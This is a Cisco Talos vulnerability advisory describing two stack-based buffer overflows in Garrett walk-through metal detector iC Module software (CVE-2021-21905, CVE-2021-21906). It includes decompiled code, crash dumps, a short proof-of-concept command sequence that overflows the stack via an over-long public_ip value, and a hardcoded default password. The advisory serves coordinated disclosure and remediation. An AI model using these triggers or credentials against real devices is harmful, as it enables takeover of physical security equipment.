Talos Vulnerability Report

TALOS-2021-1357

Garrett Metal Detectors iC Module CMA CLI readfile stack-based buffer overflow vulnerabilities

DECEMBER 20, 2021

CVE NUMBER

CVE-2021-21905,CVE-2021-21906

Summary

Two stack-based buffer overflow vulnerabilities exist in how the CMA readfile function of Garrett Metal Detectors iC Module CMA Version 5.0 is used at various locations. Convincing the system to call `readfile` on a specially-crafted file can lead to stack-based buffer overflows. An attacker can upload a malicious file to trigger these vulnerabilities.

Tested Versions

Garrett Metal Detectors iC Module CMA Version 5.0

Product URLs

https://garrett.com/security/walk-through/accessories

CVSSv3 Score

8.2 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

The Garrett iC Module provides network connectivity to either the Garrett PD 6500i or Garrett MZ 6100 models of walk-through metal detectors. This module enables a remote user to monitor statistics such as alarm and visitor counts in real time as well as make configuration changes to metal detectors.

The CMA software implements a function, `readfile` for reading arbitrary files into character buffers. An approximate decompilation of this function has been included below, for reference.

```
int __cdecl readfile(unsigned __int8 *filepath, unsigned __int8 *fileContent)
{
  int v3; // r3
  int c; // [sp+Ch] [bp-10h]
  FILE *f; // [sp+10h] [bp-Ch]
  int index; // [sp+14h] [bp-8h]

  index = 0;
  f = fopen((const char *)filepath, "r");
  if ( f )
  {
    while ( 1 )
    {
      c = fgetc(f);
      if ( c == -1 )
        break;
      if ( c == '\n' && fileContent[index - 1] != '\r' )
      {
        v3 = index++;
        fileContent[v3] = '\r';
      }
      fileContent[index++] = c;
    }
    fileContent[index] = 0;
    fclose(f);
    return index;
  }
  else
  {
    strcpy((char *)fileContent, "#>File not found\r\n");
    return -1;
  }
}
```

This function expects to receive a filepath parameter and a character array in which to place the contents of the requested file. At no point does the function have knowledge of the length of the provided buffer. It will simply copy, byte by byte, (with a slight unix2dos style adjustment for newline characters) the contents of the file into the buffer, without any bounds checking. If a user can control the file being read, there is a high likelihood of stack corruption and potential remote code execution. Below are three locations in the code base where this vulnerability can be exploited by an attacker.

CVE-2021-21905 - get_ip stack-based buffer overflow

The Garrett iC Module exposes an authenticated CLI over TCP port 6877. This interface is used by a secondary GUI client, called “CMA Connect”, to interact with the iC Module on behalf of the user. After a client successfully authenticates, they can send plaintext commands to manipulate the device. This CLI is how the “CMA Connect” software invokes the majority of its functionality when getting and setting various device configurations.

The software that implements the command line interface exposes a command, `ipconfig`, that allows an authenticated user to get and set network-related information.

When operating as expected, the `ipconfig` command returns data similar to the following.

```
ipconfig
##
#Hostname        : cma-0080a38b48b3
#Current IP      : 192.168.0.192
#Default Gateway :
#Subnet Mask     : 255.255.255.0
#MAC Address     : 00:80:a3:8b:48:b3
#Primary DNS     :
#Secondary DNS   :
#.
```

This information is collected via a series of calls to functions such as `get_hostname`, `get_ip`, `get_gateway`, `get_subnet`, etc. For reference, an approximate decompilation of a portion of the `handle_ipconfig` function is included below. For brevity, functionality that was not relevant to the vulnerability (such as logging, error handling and remote client interaction) has been excluded.

```
void __cdecl handle_ipconfig(uint8_t argc, unsigned __int8 **argv, client_6877 *client)
{
  uint16_t v3; // r0
  uint16_t v4; // r0
  uint16_t v5; // r0
  size_t v6; // r0
  size_t v7; // r0
  size_t v8; // r0
  size_t v9; // r0
  size_t v10; // r0
  size_t v11; // r0
  size_t v12; // r0
  size_t v13; // r0
  size_t v14; // r0
  uint8_t interface[5]; // [sp+1Ch] [bp-C8h] BYREF
  unsigned __int8 mask_input[16]; // [sp+24h] [bp-C0h] BYREF
  unsigned __int8 dg_input[16]; // [sp+34h] [bp-B0h] BYREF
  unsigned __int8 ip_input[16]; // [sp+44h] [bp-A0h] BYREF
  uint8_t tmp_buf[124]; // [sp+54h] [bp-90h] BYREF
  uint8_t has_mask; // [sp+D2h] [bp-12h]
  uint8_t has_dg; // [sp+D3h] [bp-11h]
  uint8_t has_ip; // [sp+D4h] [bp-10h]
  uint8_t has_interface; // [sp+D5h] [bp-Fh]
  uint8_t i; // [sp+D6h] [bp-Eh]
  uint8_t family; // [sp+D7h] [bp-Dh]

  ...

  get_hostname(tmp_buf, 0x7Cu);
  sprintf((char *)tx_buffer, "\r\n##\r\n#Hostname\t : %s\r\n", (const char *)tmp_buf);
  v6 = strlen((const char *)tx_buffer);
  reply(tx_buffer, v6, client);
  memset(tmp_buf, 0, sizeof(tmp_buf));
  get_ip(family, interface, tmp_buf);                                   [1] get_ip can be coerced to write arbitrarily long strings
into tmp_buf
  sprintf((char *)tx_buffer, "#Current IP\t : %s", (const char *)tmp_buf);
  if ( family == 2 && is_dhcp_enabled(interface) || family == 10 && is_dhcp6_enabled(interface) )
    strcat((char *)tx_buffer, " <DHCP>");
  strcat((char *)tx_buffer, "\r\n");
  v7 = strlen((const char *)tx_buffer);
  reply(tx_buffer, v7, client);
  memset(tmp_buf, 0, sizeof(tmp_buf));
  get_gateway(interface, tmp_buf, 0x7Cu);
  sprintf((char *)tx_buffer, "#Default Gateway : %s\r\n", (const char *)tmp_buf);
  v8 = strlen((const char *)tx_buffer);
  reply(tx_buffer, v8, client);
  memset(tmp_buf, 0, sizeof(tmp_buf));
  get_subnet(interface, client->ipv6, tmp_buf, 0x7Cu);
  sprintf((char *)tx_buffer, "#Subnet Mask\t : %s\r\n", (const char *)tmp_buf);

  ...
}
```

Of particular interest to this vulnerability is the implementation of `get_ip`, which can be coerced to copy arbitrarily long strings into `tmp_buf` through an unsafe call to `readfile`.

An approximate decompilation of the relevant portion of `get_ip` is included below, for reference.

```
int __cdecl get_ip(int ipType, uint8_t *interface, uint8_t *dest)
{
  socklen_t v4; // r2
  const char *v5; // r0
  size_t v6; // r0
  unsigned __int8 host[1025]; // [sp+20h] [bp-424h] BYREF
  ifaddrs *ifaddr; // [sp+424h] [bp-20h] BYREF
  int s; // [sp+428h] [bp-1Ch]
  int family; // [sp+42Ch] [bp-18h]
  int n; // [sp+430h] [bp-14h]
  ifaddrs *ifa; // [sp+434h] [bp-10h]

  if ( file_exists("/ltrx_user/env/public_ip") )
  {
    readfile("/ltrx_user/env/public_ip", dest);
    dest[strcspn((const char *)dest, "\r\n")] = 0;
    puts("Getting public IP from environment variable");
    return 1;
  }
  ...
}
```

If the application “environment variable” `public_ip` has been previously configured by the user, then that user-controlled value will be read directly into the `dest` buffer (the `tmp_buf[124]` buffer) without regard to the length of the `public_ip` “environment variable”. An attacker who uses `setenv public_ip [value]` to create a significantly long enough `public_ip` “environment variable” can cause a buffer-overflow by calling `ipconfig` and corrupting the stack during the call to `handle_ipconfig`. This buffer overflow results in attacker control of the program counter, and thus remote code execution, as shown in the debugger output below.

Crash Information

```
Thread 6 "cma" received signal SIGSEGV, Segmentation fault.
0x41414140 in ?? ()
──────────────────────────────────────────── registers ────
$r0  : 0x1e
$r1  : 0x0
$r2  : 0xd707d3d8
$r3  : 0x0
$r4  : 0x41414141 ("AAAA"?)
$r5  : 0x200
$r6  : 0x0
$r7  : 0xb47fea88  →  0xb47fec48  →  "ipconfig"
$r8  : 0xb5313a98  →  0x00000000
$r9  : 0xb5314920  →  0x00049258  →  0x00000001
$r10 : 0xb47ff460  →  0x00000001
$r11 : 0x41414141 ("AAAA"?)
$r12 : 0xa
$sp  : 0xb47fea40  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$lr  : 0x00014e00  →  <reply+76> sub sp,  r11,  #4
$pc  : 0x41414140 ("@AAA"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────── code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
──────────────────────────────────────────────────────────
```

Exploit Proof of Concept

```
setenv public_ip AAAAAAAAA...
ipconfig
```

CVE-2021-21906 - checkPassword stack-based buffer overflow

Every time a user submits a password to the CLI password prompt, the buffer containing their input is passed as the `password` parameter to the `checkPassword` function. An approximate decompilation of this function has been included below, for reference.

```
int __cdecl checkPassword(unsigned __int8 *password)
{
  char *v1; // r0
  char *v2; // r0
  uint8_t filename[18]; // [sp+8h] [bp-64h] BYREF
  uint8_t encrypted_input[35]; // [sp+1Ch] [bp-50h] BYREF
  uint8_t encrypted_pwd[35]; // [sp+40h] [bp-2Ch] BYREF
  int retval; // [sp+64h] [bp-8h]

  retval = 0;
  strcpy((char *)filename, "/ltrx_user/secret");
  v1 = crypt((const char *)password, "$1$gmd$");
  strcpy((char *)encrypted_input, v1);
  if ( file_exists(filename) )
  {
    readfile(filename, encrypted_pwd);
    if ( !strcmp((const char *)encrypted_pwd, (const char *)encrypted_input) )
      return 1;
  }
  else
  {
    v2 = crypt("5678", "$1$gmd$");
    if ( !strcmp(v2, (const char *)encrypted_input) )
      return 1;
  }
  return retval;
}
```

The password for the iC Module is stored in the `/ltrx_user/secret` file. When the function is called, the user-supplied password is cryptographically hashed, and the result is compared to the contents of the `/ltrx_user/secret` file. The contents of this file are fetched using a vulnerable call to `readfile`. The supplied buffer to receive the file contents, `encrypted_pwd`, is only 35 bytes long. If an attacker can alter the contents of this file (for example, using TALOS-2021-1356) then they can corrupt the stack during future authentication attempts. This buffer overflow results in attacker control of the program counter, and thus remote code execution, as shown in the debugger output below.

Crash Information

```
Thread 5 "cma" received signal SIGSEGV, Segmentation fault.
0x41414140 in ?? ()
──────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x41414141 ("AAAA"?)
$r1  : 0xb5330371  →  0xff000000
$r2  : 0x2e
$r3  : 0x41414141 ("AAAA"?)
$r4  : 0x00045236  →  0x00000000
$r5  : 0xffffffff
$r6  : 0x0
$r7  : 0x152
$r8  : 0xbeb47cc0  →  0xb6fbd6d0  →  0xb6fbddb8  →  0x00000001
$r9  : 0xb6fbd6d0  →  0xb6fbddb8  →  0x00000001
$r10 : 0xb5331460  →  0x00000001
$r11 : 0x41414141 ("AAAA"?)
$r12 : 0x00042aa8  →  0xb6bbbfe0  →  <strcmp+0> ldrb r3,  [r0],  #1
$sp  : 0xb53303a8  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$lr  : 0x000223fc  →  <checkPassword+148> mov r3,  r0
$pc  : 0x41414140 ("@AAA"?)
$cpsr: [negative zero CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────────── code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
──────────────────────────────────────────────────────────────────────────────────────────
```

Timeline

2021-08-17 - Vendor Disclosure
2021-11-10 - Talos granted disclosure extension
2021-12-13 - Vendor patched
2021-12-15 - Talos tested patch
2021-12-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1359

NEXT REPORT TALOS-2021-1358
